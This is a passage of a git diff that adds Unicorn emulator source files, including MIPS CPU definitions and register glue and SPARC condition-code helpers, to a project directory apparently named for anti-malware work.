size*/ + (0x1<<17) | (0x1<<16) | (0x1<<11) | (0x1<<8) | (0x1<<5) | + (0x1<<4) | (0x1<<1), + /* Note: Config1 is only used internally, Loongson-2E has only Config0. */ + (1 << CP0C1_FP) | (47 << CP0C1_MMU), + 0, + 0, + 0,0, + 0,0, + 0, + 0, + 0, + 0, + 16, + 2, + 0x35D0FFFF, + 0, + 0, + (0x5 << FCR0_PRID) | (0x1 << FCR0_REV), + 0, + 40, + 40, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_LOONGSON2E, + MMU_TYPE_R4000, + }, + { + "Loongson-2F", + 0x6303, + /*64KB I-cache and d-cache. 4 way with 32 bit cache line size*/ + (0x1<<17) | (0x1<<16) | (0x1<<11) | (0x1<<8) | (0x1<<5) | + (0x1<<4) | (0x1<<1), + /* Note: Config1 is only used internally, Loongson-2F has only Config0. */ + (1 << CP0C1_FP) | (47 << CP0C1_MMU), + 0, + 0, + 0,0, + 0,0, + 0, + 0, + 0, + 0, + 16, + 2, + 0xF5D0FF1F, /*bit5:7 not writable*/ + 0, + 0, + (0x5 << FCR0_PRID) | (0x1 << FCR0_REV), + 0, + 40, + 40, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_LOONGSON2F, + MMU_TYPE_R4000, + }, + { + /* A generic CPU providing MIPS64 ASE DSP 2 features. + FIXME: Eventually this should be replaced by a real CPU model. */ + "mips64dspr2", + 0x00010000, + MIPS_CONFIG0 | (0x1 << CP0C0_AR) | (0x2 << CP0C0_AT) | + (MMU_TYPE_R4000 << CP0C0_MT), + MIPS_CONFIG1 | (1 << CP0C1_FP) | (63 << CP0C1_MMU) | + (2 << CP0C1_IS) | (4 << CP0C1_IL) | (3 << CP0C1_IA) | + (2 << CP0C1_DS) | (4 << CP0C1_DL) | (3 << CP0C1_DA) | + (1 << CP0C1_PC) | (1 << CP0C1_WR) | (1 << CP0C1_EP), + MIPS_CONFIG2, + MIPS_CONFIG3 | (1U << CP0C3_M) | (1 << CP0C3_DSP2P) | + (1 << CP0C3_DSPP) | (1 << CP0C3_LPA), + 0,0, + 0,0, + 0, + 0, + 0, + 0, + 32, + 2, + 0x37FBFFFF, + 0, + 0, + (1 << FCR0_F64) | (1 << FCR0_3D) | (1 << FCR0_PS) | + (1 << FCR0_L) | (1 << FCR0_W) | (1 << FCR0_D) | + (1 << FCR0_S) | (0x00 << FCR0_PRID) | (0x0 << FCR0_REV), + 0, + 42, + /* The architectural limit is 59, but we have hardcoded 36 bit + in some places... + 59, */ /* the architectural limit */ + 36, + 0,0, 0,0, 0,0, 0,0, 0,0, 0,0, + CPU_MIPS64R2 | ASE_DSP | ASE_DSPR2, + MMU_TYPE_R4000, + }, + +#endif +}; + +static const mips_def_t *cpu_mips_find_by_name (const char *name) +{ + int i; + + for (i = 0; i < ARRAY_SIZE(mips_defs); i++) { + if (strcasecmp(name, mips_defs[i].name) == 0) { + return &mips_defs[i]; + } + } + return NULL; +} + +void mips_cpu_list (FILE *f, fprintf_function cpu_fprintf) +{ + int i; + + for (i = 0; i < ARRAY_SIZE(mips_defs); i++) { + (*cpu_fprintf)(f, "MIPS '%s'\n", + mips_defs[i].name); + } +} + +#ifndef CONFIG_USER_ONLY +static void no_mmu_init (CPUMIPSState *env, const mips_def_t *def) +{ + env->tlb->nb_tlb = 1; + env->tlb->map_address = &no_mmu_map_address; +} + +static void fixed_mmu_init (CPUMIPSState *env, const mips_def_t *def) +{ + env->tlb->nb_tlb = 1; + env->tlb->map_address = &fixed_mmu_map_address; +} + +static void r4k_mmu_init (CPUMIPSState *env, const mips_def_t *def) +{ + env->tlb->nb_tlb = 1 + ((def->CP0_Config1 >> CP0C1_MMU) & 63); + env->tlb->map_address = &r4k_map_address; + env->tlb->helper_tlbwi = r4k_helper_tlbwi; + env->tlb->helper_tlbwr = r4k_helper_tlbwr; + env->tlb->helper_tlbp = r4k_helper_tlbp; + env->tlb->helper_tlbr = r4k_helper_tlbr; + env->tlb->helper_tlbinv = r4k_helper_tlbinv; + env->tlb->helper_tlbinvf = r4k_helper_tlbinvf; +} + +static void mmu_init (CPUMIPSState *env, const mips_def_t *def) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + + env->tlb = g_malloc0(sizeof(CPUMIPSTLBContext)); + + switch (def->mmu_type) { + case MMU_TYPE_NONE: + no_mmu_init(env, def); + break; + case MMU_TYPE_R4000: + r4k_mmu_init(env, def); + break; + case MMU_TYPE_FMT: + fixed_mmu_init(env, def); + break; + case MMU_TYPE_R3000: + case MMU_TYPE_R6000: + case MMU_TYPE_R8000: + default: + cpu_abort(CPU(cpu), "MMU type not supported\n"); + } +} +#endif /* CONFIG_USER_ONLY */ + +static void fpu_init (CPUMIPSState *env, const mips_def_t *def) +{ + int i; + + for (i = 0; i < MIPS_FPU_MAX; i++) + env->fpus[i].fcr0 = def->CP1_fcr0; + + memcpy(&env->active_fpu, &env->fpus[0], sizeof(env->active_fpu)); +} + +static void mvp_init (CPUMIPSState *env, const mips_def_t *def) +{ + env->mvp = g_malloc0(sizeof(CPUMIPSMVPContext)); + + /* MVPConf1 implemented, TLB sharable, no gating storage support, + programmable cache partitioning implemented, number of allocatable + and sharable TLB entries, MVP has allocatable TCs, 2 VPEs + implemented, 5 TCs implemented. */ + env->mvp->CP0_MVPConf0 = (1U << CP0MVPC0_M) | (1 << CP0MVPC0_TLBS) | + (0 << CP0MVPC0_GS) | (1 << CP0MVPC0_PCP) | +// TODO: actually do 2 VPEs. +// (1 << CP0MVPC0_TCA) | (0x1 << CP0MVPC0_PVPE) | +// (0x04 << CP0MVPC0_PTC); + (1 << CP0MVPC0_TCA) | (0x0 << CP0MVPC0_PVPE) | + (0x00 << CP0MVPC0_PTC); +#if !defined(CONFIG_USER_ONLY) + /* Usermode has no TLB support */ + env->mvp->CP0_MVPConf0 |= (env->tlb->nb_tlb << CP0MVPC0_PTLBE); +#endif + + /* Allocatable CP1 have media extensions, allocatable CP1 have FP support, + no UDI implemented, no CP2 implemented, 1 CP1 implemented. */ + env->mvp->CP0_MVPConf1 = (1U << CP0MVPC1_CIM) | (1 << CP0MVPC1_CIF) | + (0x0 << CP0MVPC1_PCX) | (0x0 << CP0MVPC1_PCP2) | + (0x1 << CP0MVPC1_PCP1); +} + +static void msa_reset(CPUMIPSState *env) +{ +#ifdef CONFIG_USER_ONLY + /* MSA access enabled */ + env->CP0_Config5 |= 1 << CP0C5_MSAEn; + env->CP0_Status |= (1 << CP0St_CU1) | (1 << CP0St_FR); +#endif + + /* MSA CSR: + - non-signaling floating point exception mode off (NX bit is 0) + - Cause, Enables, and Flags are all 0 + - round to nearest / ties to even (RM bits are 0) */ + env->active_tc.msacsr = 0; + + /* tininess detected after rounding.*/ + set_float_detect_tininess(float_tininess_after_rounding, + &env->active_tc.msa_fp_status); + + /* clear float_status exception flags */ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); + + /* set float_status rounding mode */ + set_float_rounding_mode(float_round_nearest_even, + &env->active_tc.msa_fp_status); + + /* set float_status flush modes */ + set_flush_to_zero(0, &env->active_tc.msa_fp_status); + set_flush_inputs_to_zero(0, &env->active_tc.msa_fp_status); + + /* clear float_status nan mode */ + set_default_nan_mode(0, &env->active_tc.msa_fp_status); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.c new file mode 100644 index 0000000..6723341 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.c @@ -0,0 +1,169 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/mips/mips.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + +#ifdef TARGET_MIPS64 +const int MIPS64_REGS_STORAGE_SIZE = offsetof(CPUMIPSState, tlb_table); +#else // MIPS32 +const int MIPS_REGS_STORAGE_SIZE = offsetof(CPUMIPSState, tlb_table); +#endif + +#ifdef TARGET_MIPS64 +typedef uint64_t mipsreg_t; +#else +typedef uint32_t mipsreg_t; +#endif + +static uint64_t mips_mem_redirect(uint64_t address) +{ + // kseg0 range masks off high address bit + if (address >= 0x80000000 && address <= 0x9fffffff) + return address & 0x7fffffff; + + // kseg1 range masks off top 3 address bits + if (address >= 0xa0000000 && address <= 0xbfffffff) { + return address & 0x1fffffff; + } + + // no redirect + return address; +} + +static void mips_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUMIPSState *)uc->current_cpu->env_ptr)->active_tc.PC = address; +} + + +void mips_release(void *ctx); +void mips_release(void *ctx) +{ + MIPSCPU* cpu; + int i; + TCGContext *tcg_ctx = (TCGContext *) ctx; + release_common(ctx); + cpu = MIPS_CPU(tcg_ctx->uc, tcg_ctx->uc->cpu); + g_free(cpu->env.tlb); + g_free(cpu->env.mvp); + + for (i = 0; i < MIPS_DSP_ACC; i++) { + g_free(tcg_ctx->cpu_HI[i]); + g_free(tcg_ctx->cpu_LO[i]); + } + + for (i = 0; i < 32; i++) { + g_free(tcg_ctx->cpu_gpr[i]); + } + + g_free(tcg_ctx->cpu_PC); + g_free(tcg_ctx->btarget); + g_free(tcg_ctx->bcond); + g_free(tcg_ctx->cpu_dspctrl); + + g_free(tcg_ctx->tb_ctx.tbs); +} + +void mips_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env; + (void)uc; + env = uc->cpu->env_ptr; + memset(env->active_tc.gpr, 0, sizeof(env->active_tc.gpr)); + + env->active_tc.PC = 0; +} + +int mips_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + if (regid >= UC_MIPS_REG_0 && regid <= UC_MIPS_REG_31) + *(mipsreg_t *)value = MIPS_CPU(uc, mycpu)->env.active_tc.gpr[regid - UC_MIPS_REG_0]; + else { + switch(regid) { + default: break; + case UC_MIPS_REG_PC: + *(mipsreg_t *)value = MIPS_CPU(uc, mycpu)->env.active_tc.PC; + break; + case UC_MIPS_REG_CP0_CONFIG3: + *(mipsreg_t *)value = MIPS_CPU(uc, mycpu)->env.CP0_Config3; + break; + case UC_MIPS_REG_CP0_USERLOCAL: + *(mipsreg_t *)value = MIPS_CPU(uc, mycpu)->env.active_tc.CP0_UserLocal; + break; + } + } + } + + return 0; +} + +int mips_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_MIPS_REG_0 && regid <= UC_MIPS_REG_31) + MIPS_CPU(uc, mycpu)->env.active_tc.gpr[regid - UC_MIPS_REG_0] = *(mipsreg_t *)value; + else { + switch(regid) { + default: break; + case UC_MIPS_REG_PC: + MIPS_CPU(uc, mycpu)->env.active_tc.PC = *(mipsreg_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_MIPS_REG_CP0_CONFIG3: + MIPS_CPU(uc, mycpu)->env.CP0_Config3 = *(mipsreg_t *)value; + break; + case UC_MIPS_REG_CP0_USERLOCAL: + MIPS_CPU(uc, mycpu)->env.active_tc.CP0_UserLocal = *(mipsreg_t *)value; + break; + } + } + } + + return 0; +} + +DEFAULT_VISIBILITY +#ifdef TARGET_MIPS64 +#ifdef TARGET_WORDS_BIGENDIAN + void mips64_uc_init(struct uc_struct* uc) +#else + void mips64el_uc_init(struct uc_struct* uc) +#endif +#else // if TARGET_MIPS +#ifdef TARGET_WORDS_BIGENDIAN + void mips_uc_init(struct uc_struct* uc) +#else + void mipsel_uc_init(struct uc_struct* uc) +#endif +#endif +{ + register_accel_types(uc); + mips_cpu_register_types(uc); + mips_machine_init(uc); + uc->reg_read = mips_reg_read; + uc->reg_write = mips_reg_write; + uc->reg_reset = mips_reg_reset; + uc->release = mips_release; + uc->set_pc = mips_set_pc; + uc->mem_redirect = mips_mem_redirect; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.h new file mode 100644 index 0000000..b1c6cac --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/unicorn.h @@ -0,0 +1,23 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#ifndef UC_QEMU_TARGET_MIPS_H +#define UC_QEMU_TARGET_MIPS_H + +// functions to read & write registers +int mips_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int mips_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +void mips_reg_reset(struct uc_struct *uc); + +void mips_uc_init(struct uc_struct* uc); +void mipsel_uc_init(struct uc_struct* uc); +void mips64_uc_init(struct uc_struct* uc); +void mips64el_uc_init(struct uc_struct* uc); + +extern const int MIPS_REGS_STORAGE_SIZE_mips; +extern const int MIPS_REGS_STORAGE_SIZE_mipsel; +extern const int MIPS64_REGS_STORAGE_SIZE_mips64; +extern const int MIPS64_REGS_STORAGE_SIZE_mips64el; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/Makefile.objs new file mode 100644 index 0000000..a04ffad --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/Makefile.objs @@ -0,0 +1,7 @@ +obj-y += translate.o helper.o cpu.o +obj-y += fop_helper.o cc_helper.o win_helper.o mmu_helper.o ldst_helper.o +obj-$(TARGET_SPARC) += int32_helper.o +obj-$(TARGET_SPARC64) += int64_helper.o +obj-$(TARGET_SPARC64) += vis_helper.o +obj-$(TARGET_SPARC) += unicorn.o +obj-$(TARGET_SPARC64) += unicorn64.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/TODO b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/TODO new file mode 100644 index 0000000..b8c727e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/TODO @@ -0,0 +1,88 @@ +TODO-list: + +CPU common: +- Unimplemented features/bugs: + - Delay slot handling may fail sometimes (branch end of page, delay + slot next page) + - Atomical instructions + - CPU features should match real CPUs (also ASI selection) +- Optimizations/improvements: + - Condition code/branch handling like x86, also for FPU? + - Remove remaining explicit alignment checks + - Global register for regwptr, so that windowed registers can be + accessed directly + - Improve Sparc32plus addressing + - NPC/PC static optimisations (use JUMP_TB when possible)? (Is this + obsolete?) + - Synthetic instructions + - MMU model dependent on CPU model + - Select ASI helper at translation time (on V9 only if known) + - KQemu/KVM support for VM only + - Hardware breakpoint/watchpoint support + - Cache emulation mode + - Reverse-endian pages + - Faster FPU emulation + - Busy loop detection + +Sparc32 CPUs: +- Unimplemented features/bugs: + - Sun4/Sun4c MMUs + - Some V8 ASIs + +Sparc64 CPUs: +- Unimplemented features/bugs: + - Interrupt handling + - Secondary address space, other MMU functions + - Many V9/UA2005/UA2007 ASIs + - Rest of V9 instructions, missing VIS instructions + - IG/MG/AG vs. UA2007 globals + - Full hypervisor support + - SMP/CMT + - Sun4v CPUs + +Sun4: +- To be added + +Sun4c: +- A lot of unimplemented features +- Maybe split from Sun4m + +Sun4m: +- Unimplemented features/bugs: + - Hardware devices do not match real boards + - Floppy does not work + - CS4231: merge with cs4231a, add DMA + - Add cg6, bwtwo + - Arbitrary resolution support + - PCI for MicroSparc-IIe + - JavaStation machines + - SBus slot probing, FCode ROM support + - SMP probing support + - Interrupt routing does not match real HW + - SuSE 7.3 keyboard sometimes unresponsive + - Gentoo 2004.1 SMP does not work + - SS600MP ledma -> lebuffer + - Type 5 keyboard + - Less fixed hardware choices + - DBRI audio (Am7930) + - BPP parallel + - Diagnostic switch + - ESP PIO mode + +Sun4d: +- A lot of unimplemented features: + - SBI + - IO-unit +- Maybe split from Sun4m + +Sun4u: +- Unimplemented features/bugs: + - Interrupt controller + - PCI/IOMMU support (Simba, JIO, Tomatillo, Psycho, Schizo, Safari...) + - SMP + - Happy Meal Ethernet, flash, I2C, GPIO + - A lot of real machine types + +Sun4v: +- A lot of unimplemented features + - A lot of real machine types diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cc_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cc_helper.c new file mode 100644 index 0000000..69823b7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cc_helper.c @@ -0,0 +1,492 @@ +/* + * Helpers for lazy condition code handling + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/helper-proto.h" + +static uint32_t compute_null(CPUSPARCState *env) +{ + return 0; +} + +static uint32_t compute_all_flags(CPUSPARCState *env) +{ + return env->psr & PSR_ICC; +} + +static uint32_t compute_C_flags(CPUSPARCState *env) +{ + return env->psr & PSR_CARRY; +} + +static inline uint32_t get_NZ_icc(int32_t dst) +{ + uint32_t ret = 0; + + if (dst == 0) { + ret = PSR_ZERO; + } else if (dst < 0) { + ret = PSR_NEG; + } + return ret; +} + +#ifdef TARGET_SPARC64 +static uint32_t compute_all_flags_xcc(CPUSPARCState *env) +{ + return env->xcc & PSR_ICC; +} + +static uint32_t compute_C_flags_xcc(CPUSPARCState *env) +{ + return env->xcc & PSR_CARRY; +} + +static inline uint32_t get_NZ_xcc(target_long dst) +{ + uint32_t ret = 0; + + if (!dst) { + ret = PSR_ZERO; + } else if (dst < 0) { + ret = PSR_NEG; + } + return ret; +} +#endif + +static inline uint32_t get_V_div_icc(target_ulong src2) +{ + uint32_t ret = 0; + + if (src2 != 0) { + ret = PSR_OVF; + } + return ret; +} + +static uint32_t compute_all_div(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_V_div_icc(CC_SRC2); + return ret; +} + +static uint32_t compute_C_div(CPUSPARCState *env) +{ + return 0; +} + +static inline uint32_t get_C_add_icc(uint32_t dst, uint32_t src1) +{ + uint32_t ret = 0; + + if (dst < src1) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_C_addx_icc(uint32_t dst, uint32_t src1, + uint32_t src2) +{ + uint32_t ret = 0; + + if (((src1 & src2) | (~dst & (src1 | src2))) & (1U << 31)) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_V_add_icc(uint32_t dst, uint32_t src1, + uint32_t src2) +{ + uint32_t ret = 0; + + if (((src1 ^ src2 ^ -1) & (src1 ^ dst)) & (1U << 31)) { + ret = PSR_OVF; + } + return ret; +} + +#ifdef TARGET_SPARC64 +static inline uint32_t get_C_add_xcc(target_ulong dst, target_ulong src1) +{ + uint32_t ret = 0; + + if (dst < src1) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_C_addx_xcc(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + uint32_t ret = 0; + + if (((src1 & src2) | (~dst & (src1 | src2))) & (1ULL << 63)) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_V_add_xcc(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + uint32_t ret = 0; + + if (((src1 ^ src2 ^ -1) & (src1 ^ dst)) & (1ULL << 63)) { + ret = PSR_OVF; + } + return ret; +} + +static uint32_t compute_all_add_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_xcc(CC_DST); + ret |= get_C_add_xcc(CC_DST, CC_SRC); + ret |= get_V_add_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_add_xcc(CPUSPARCState *env) +{ + return get_C_add_xcc(CC_DST, CC_SRC); +} +#endif + +static uint32_t compute_all_add(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_add_icc(CC_DST, CC_SRC); + ret |= get_V_add_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_add(CPUSPARCState *env) +{ + return get_C_add_icc(CC_DST, CC_SRC); +} + +#ifdef TARGET_SPARC64 +static uint32_t compute_all_addx_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_xcc(CC_DST); + ret |= get_C_addx_xcc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_add_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_addx_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_C_addx_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} +#endif + +static uint32_t compute_all_addx(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_addx_icc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_add_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_addx(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_C_addx_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static inline uint32_t get_V_tag_icc(target_ulong src1, target_ulong src2) +{ + uint32_t ret = 0; + + if ((src1 | src2) & 0x3) { + ret = PSR_OVF; + } + return ret; +} + +static uint32_t compute_all_tadd(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_add_icc(CC_DST, CC_SRC); + ret |= get_V_add_icc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_tag_icc(CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_all_taddtv(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_add_icc(CC_DST, CC_SRC); + return ret; +} + +static inline uint32_t get_C_sub_icc(uint32_t src1, uint32_t src2) +{ + uint32_t ret = 0; + + if (src1 < src2) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_C_subx_icc(uint32_t dst, uint32_t src1, + uint32_t src2) +{ + uint32_t ret = 0; + + if (((~src1 & src2) | (dst & (~src1 | src2))) & (1U << 31)) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_V_sub_icc(uint32_t dst, uint32_t src1, + uint32_t src2) +{ + uint32_t ret = 0; + + if (((src1 ^ src2) & (src1 ^ dst)) & (1U << 31)) { + ret = PSR_OVF; + } + return ret; +} + + +#ifdef TARGET_SPARC64 +static inline uint32_t get_C_sub_xcc(target_ulong src1, target_ulong src2) +{ + uint32_t ret = 0; + + if (src1 < src2) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_C_subx_xcc(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + uint32_t ret = 0; + + if (((~src1 & src2) | (dst & (~src1 | src2))) & (1ULL << 63)) { + ret = PSR_CARRY; + } + return ret; +} + +static inline uint32_t get_V_sub_xcc(target_ulong dst, target_ulong src1, + target_ulong src2) +{ + uint32_t ret = 0; + + if (((src1 ^ src2) & (src1 ^ dst)) & (1ULL << 63)) { + ret = PSR_OVF; + } + return ret; +} + +static uint32_t compute_all_sub_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_xcc(CC_DST); + ret |= get_C_sub_xcc(CC_SRC, CC_SRC2); + ret |= get_V_sub_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_sub_xcc(CPUSPARCState *env) +{ + return get_C_sub_xcc(CC_SRC, CC_SRC2); +} +#endif + +static uint32_t compute_all_sub(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_sub_icc(CC_SRC, CC_SRC2); + ret |= get_V_sub_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_sub(CPUSPARCState *env) +{ + return get_C_sub_icc(CC_SRC, CC_SRC2); +} + +#ifdef TARGET_SPARC64 +static uint32_t compute_all_subx_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_xcc(CC_DST); + ret |= get_C_subx_xcc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_sub_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_subx_xcc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_C_subx_xcc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} +#endif + +static uint32_t compute_all_subx(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_subx_icc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_sub_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_C_subx(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_C_subx_icc(CC_DST, CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_all_tsub(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_sub_icc(CC_SRC, CC_SRC2); + ret |= get_V_sub_icc(CC_DST, CC_SRC, CC_SRC2); + ret |= get_V_tag_icc(CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_all_tsubtv(CPUSPARCState *env) +{ + uint32_t ret; + + ret = get_NZ_icc(CC_DST); + ret |= get_C_sub_icc(CC_SRC, CC_SRC2); + return ret; +} + +static uint32_t compute_all_logic(CPUSPARCState *env) +{ + return get_NZ_icc(CC_DST); +} + +static uint32_t compute_C_logic(CPUSPARCState *env) +{ + return 0; +} + +#ifdef TARGET_SPARC64 +static uint32_t compute_all_logic_xcc(CPUSPARCState *env) +{ + return get_NZ_xcc(CC_DST); +} +#endif + +typedef struct CCTable { + uint32_t (*compute_all)(CPUSPARCState *env); /* return all the flags */ + uint32_t (*compute_c)(CPUSPARCState *env); /* return the C flag */ +} CCTable; + +static const CCTable icc_table[CC_OP_NB] = { + /* CC_OP_DYNAMIC should never happen */ + { compute_null, compute_null }, + { compute_all_flags, compute_C_flags }, + { compute_all_div, compute_C_div }, + { compute_all_add, compute_C_add }, + { compute_all_addx, compute_C_addx }, + { compute_all_tadd, compute_C_add }, + { compute_all_taddtv, compute_C_add }, + { compute_all_sub, compute_C_sub }, + { compute_all_subx, compute_C_subx }, + { compute_all_tsub, compute_C_sub }, + { compute_all_tsubtv, compute_C_sub }, + { compute_all_logic, compute_C_logic }, +}; + +#ifdef TARGET_SPARC64 +static const CCTable xcc_table[CC_OP_NB] = { + /* CC_OP_DYNAMIC should never happen */ + { compute_null, compute_null }, + { compute_all_flags_xcc, compute_C_flags_xcc }, + { compute_all_logic_xcc, compute_C_logic }, + { compute_all_add_xcc, compute_C_add_xcc }, + { compute_all_addx_xcc, compute_C_addx_xcc }, + { compute_all_add_xcc, compute_C_add_xcc }, + { compute_all_add_xcc, compute_C_add_xcc }, + { compute_all_sub_xcc, compute_C_sub_xcc }, + { compute_all_subx_xcc, compute_C_subx_xcc }, + { compute_all_sub_xcc, compute_C_sub_xcc }, + { compute_all_sub_xcc, compute_C_sub_xcc }, + { compute_all_logic_xcc, compute_C_logic }, +}; +#endif + +void helper_compute_psr(CPUSPARCState *env) +{ + uint32_t new_psr; + + new_psr = icc_table[CC_OP].compute_all(env); + env->psr = new_psr; +#ifdef TARGET_SPARC64 + new_psr = xcc_table[CC_OP].compute_all(env); + env->xcc = new_psr; +#endif + CC_OP = CC_OP_FLAGS; +} + +uint32_t helper_compute_C_icc(CPUSPARCState *env) +{ + uint32_t ret; + + ret = icc_table[CC_OP].compute_c(env) >> PSR_CARRY_SHIFT; + return ret; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu-qom.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu-qom.h new file mode 100644 index 0000000..6374fe8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu-qom.h @@ -0,0 +1,87 @@ +/* + * QEMU SPARC CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ +#ifndef QEMU_SPARC_CPU_QOM_H +#define QEMU_SPARC_CPU_QOM_H + +#include "qom/cpu.h" +#include "cpu.h" + +#ifdef TARGET_SPARC64 +#define TYPE_SPARC_CPU "sparc64-cpu" +#else +#define TYPE_SPARC_CPU "sparc-cpu" +#endif + +#define SPARC_CPU_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, SPARCCPUClass, (klass), TYPE_SPARC_CPU) +#define SPARC_CPU(uc, obj) ((SPARCCPU *)obj) +#define SPARC_CPU_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, SPARCCPUClass, (obj), TYPE_SPARC_CPU) + +/** + * SPARCCPUClass: + * @parent_realize: The parent class' realize handler. + * @parent_reset: The 